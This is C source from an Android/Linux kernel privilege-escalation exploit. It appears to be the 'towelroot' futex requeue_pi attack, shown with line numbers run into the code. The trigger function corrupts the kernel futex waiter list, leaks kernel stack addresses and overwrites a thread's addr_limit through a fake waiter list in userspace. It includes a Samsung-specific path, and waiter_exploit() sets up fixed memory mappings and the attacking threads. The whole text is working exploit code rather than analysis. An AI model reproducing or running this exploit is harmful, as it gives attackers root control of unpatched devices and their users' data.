*trigger(void *arg) {1060int ret;1061unsigned long readval;1062pid_t pid;1063int i, k;1064char buf[0x1000];1065int tid_counter = 0;1066unsigned int addr, setaddr;10671068setpriority(PRIO_PROCESS, 0, 5);10691070LOGD("[TRIGGER] Trigger pid %x\n", gettid());10711072// Acquire lock2 so when the thread will be requeued from lock1 to lock2 will be put in the queue1073syscall(__NR_futex, &lock2, FUTEX_LOCK_PI, 1, 0, NULL, 0);10741075// Now requeue the stack_modifier thread from lock1 to lock21076while (1) {1077ret = syscall(__NR_futex, &lock1, FUTEX_CMP_REQUEUE_PI, 1, 0, &lock2, lock1);1078if (ret == 1) {1079LOGD("[TRIGGER] Stack modifier requeued\n");1080break;1081}1082usleep(10);1083}10841085// Add a couple of waiters in the vulnerable kernel list10861087wake_actionthread(3);1088pid6 = wake_actionthread(6);1089pid7 = wake_actionthread(7);10901091// Now lock2 has this wait list: |6|<->|7|<->|12|10921093lock2 = 0;10941095// Trigger the vulnerability: requeue the stack modifier from lock2 to lock21096syscall(__NR_futex, &lock2, FUTEX_CMP_REQUEUE_PI, 1, 0, &lock2, lock2);10971098// If everything went as expected at this point the stack modifier is going tu use a syscall to modify1099// the wait list for lock211001101// Be sure he finished1102sleep(2);11031104// Now the new wait_list for lock2 should be: |6|<->|7|<->|-1..|<->hacked_list11051106// We can now start the list manipulation creating new node controlled by us1107// We build two chain: hacked_node and hacked_node_alt1108// Sometime the alignament of iovstack could be different so prio_list->next and prio_list->prev1109// could be switched.11101111create_hacked_list(hacked_node, hacked_node_alt);11121113// Now the new wait_list for lock2 should be: |6|<->|7|<->|-1..|<->|9|<->|13|1114// with waiters with prio 9 and 13 in our userspace11151116// Lets do something of interesting. Add a waiter and check wich list we are using.11171118readval = *((unsigned long *)hacked_node);1119tid_11 = wake_actionthread(11);11201121if (*((unsigned long *)hacked_node) == readval) {1122LOGD("[TRIGGER] Using hacked_node_alt.\n");1123hacked_node = hacked_node_alt;1124}11251126// Is it patched?1127if (*((unsigned long *)hacked_node) == readval) {1128LOGD("[TRIGGER] Device seems to be patched.\n");1129send_pipe_msg(ERROR);1130return 0;1131}11321133// Save the waiter address1134t11 = *((unsigned long *)hacked_node);11351136// Try to find a thred we can hack1137for(k=0; k<20; k++) {11381139is_kernel_writing = (pthread_mutex_t *)malloc(4);1140pthread_mutex_init(is_kernel_writing, NULL);11411142// Reset the hacked list1143reset_hacked_list(hacked_node);11441145// Leak a kernel stack pointer (a new created waiter)1146pid = wake_actionthread(11);11471148// Now we have the pointer of a waiter allocated on the stack. We can calculate the1149// thread_info struct in the kernel for that last called thread1150first_kstack_base = leaker_kstack_base = *((unsigned long *)hacked_node) & 0xffffe000;11511152LOGD("[TRIGGER] Send a signal to the first evil thread\n");1153pthread_mutex_lock(&is_thread_awake_lock);11541155kill(pid, 12);11561157pthread_cond_wait(&is_thread_awake, &is_thread_awake_lock);1158pthread_mutex_unlock(&is_thread_awake_lock);1159LOGD("[TRIGGER] First evil thread is now waiting\n");11601161sleep(1);11621163LOGD("[TRIGGER] First kernel stack base found at 0x%x\n", (unsigned int) first_kstack_base);11641165// Samsung exploitation1166if(config_new_samsung) {1167LOGD("[TRIGGER] Starting samsung...\n");1168addr = (unsigned long)mmap((unsigned long *)0xbef000, 0x2000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);11691170LOGD("[TRIGGER] mmap done\n");1171if (addr != 0xbef000) {1172continue;1173}11741175reset_hacked_list(0xbeffe0);1176reset_hacked_list(hacked_node);11771178*((unsigned long *)0xbf0004) = first_kstack_base + config_offset + 1;1179*((unsigned long *)hacked_node) = 0xbf0000;11801181// Keep trace of the pending waiters1182remove_pid[remove_counter] = wake_actionthread(10);11831184readval = *((unsigned long *)0x00bf0004);11851186remove_waiter[remove_counter] = readval;1187remove_counter++;11881189munmap((unsigned long *)0xbef000, 0x2000);11901191LOGD("[TRIGGER] First step done: %lx\n", readval);11921193readval <<= 8;1194if (readval < KERNEL_START) {1195setaddr = (readval - 0x1000) & 0xfffff000;1196addr = (unsigned long)mmap((unsigned long *)setaddr, 0x2000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);11971198if (addr != setaddr) {1199continue;1200}12011202reset_hacked_list(readval - 0x20);1203*((unsigned long *)(readval + 4)) = first_kstack_base + config_offset;1204*((unsigned long *)hacked_node) = readval;12051206remove_pid[remove_counter] = wake_actionthread(10);12071208readval = *((unsigned long *)(readval + 4));1209// Save the waiter address1210remove_waiter[remove_counter] = readval;1211remove_counter++;12121213munmap((unsigned long *)setaddr, 0x2000);12141215LOGD("[TRIGGER] Samsung done: %lx\n", readval);1216}1217}1218else {1219reset_hacked_list(hacked_node);12201221// Use the prev pointer to execute a write in kernel space (the thread addr_limit)1222*((unsigned long *)(hacked_node + 0x24)) = first_kstack_base + 8;12231224tid_12 = wake_actionthread(12); // Will be in the user space hacked list12251226readval = *((unsigned long *)(hacked_node + 0x24));1227LOGD("[TRIGGER] New first stack limit 0x%x\n", (unsigned int)readval);12281229remove_pid[remove_counter] = tid_12;1230remove_waiter[remove_counter] = readval;1231remove_counter++;1232}12331234// At this point we have a thread with an addr_limit = readval waiting to write something to us.1235// Try to create a new thread to be modified by the first one1236for(i = 0; i < loop_limit; i++) {1237reset_hacked_list(hacked_node);1238pid = wake_actionthread(10); // Will be in the user space hacked list12391240LOGD("[TRIGGER] Found value 0x%x with tid %d\n", (unsigned int) *((unsigned long *)hacked_node), pid);1241// Be sure the first can modify the second one1242if (*((unsigned long *)hacked_node) < readval) {12431244#ifdef DEBUG1245for(k = 0; k < remove_counter; k++) {1246LOGD("[TRIGGER] Remove tid %d with waiter %x\n", remove_pid[k], (unsigned int) remove_waiter[k]);1247}1248#endif12491250final_kstack_base = *((unsigned long *)hacked_node) & 0xffffe000;1251LOGD("[TRIGGER] Found a good thread to hack: 0x%x\n", (unsigned int) final_kstack_base);1252LOGD("[TRIGGER] Current hacked_node %x\n", (unsigned int) hacked_node);12531254pthread_mutex_lock(&is_thread_awake_lock);12551256kill(pid, 12);12571258pthread_cond_wait(&is_thread_awake, &is_thread_awake_lock);1259pthread_mutex_unlock(&is_thread_awake_lock);12601261sleep(2);12621263reset_hacked_list(hacked_node);1264// Now we have a thread waiting to write something in the second thread.1265// The second thread is waiting to receive a signal by the first one12661267// Tell the first thread to hack the second one1268write(HACKS_fdm, buf, 0x1000);12691270while (1) {1271sleep(10);1272}1273}1274if(config_force_remove) {1275// Trace the pending waiters1276remove_pid[remove_counter] = pid;1277remove_waiter[remove_counter] = *((unsigned long *)hacked_node);1278remove_counter++;1279}1280}1281}1282stop_for_error();1283return NULL;1284}128512861287int waiter_exploit() {12881289pthread_t l1, l2, l3;12901291LOGV("uid %d\n", getuid());12921293if (config_buf[0] == 'c') {1294LOGV("no config supplied %s\n", config_buf);1295return 1;1296}12971298config_new_samsung = *(int*)&config_buf[0];1299config_iovstack = *(int*)&config_buf[4];1300config_offset = *(int*)&config_buf[8];1301config_force_remove = *(int*)&config_buf[12];13021303pipe(pipe_fd);13041305pid_t pipe_pid = fork();1306if(pipe_pid != 0) {1307int pipe_server_ret = start_pipe_server();13081309int status;1310waitpid(pipe_pid, &status, 0);1311return pipe_server_ret;1312}13131314sleep(2);1315close(pipe_fd[0]);13161317// First we create two possible hacked list of waiters.13181319addr = (unsigned long)mmap((void *)0xa0000000, 0x110000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);1320addr += 0x800;1321hacked_node = addr;1322if ((long)addr >= 0) {1323LOGD("[TOWEL] first mmap failed?\n");1324send_pipe_msg(ERROR);1325return 1;1326}13271328addr = (unsigned long)mmap((void *)0x100000, 0x110000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);1329addr += 0x800;1330hacked_node_alt = addr;1331if (addr > 0x110000) {1332LOGD("[TOWEL] second mmap failed?\n");1333send_pipe_msg(ERROR);1334return 1;1335}13361337// Start the socket server we will use to hook inside the sendmmsg syscall13381339LOGD("[TOWEL] Creating socket\n");1340pthread_create(&l1, NULL, accept_socket, NULL);13411342sleep(1);13431344LOGD("[TOWEL] Starting exploitation\n");13451346pthread_mutex_lock(&done_lock);1347pthread_create(&l2, NULL, stack_modifier, NULL);1348pthread_create(&l3, NULL, trigger, NULL);1349pthread_cond_wait(&done, &done_lock);13501351LOGD("[TOWEL] All Done, exiting PID %d\n", getpid());1352send_pipe_msg(ALL_DONE);1353sleep(1);13541355return 0;1356}1357135813591360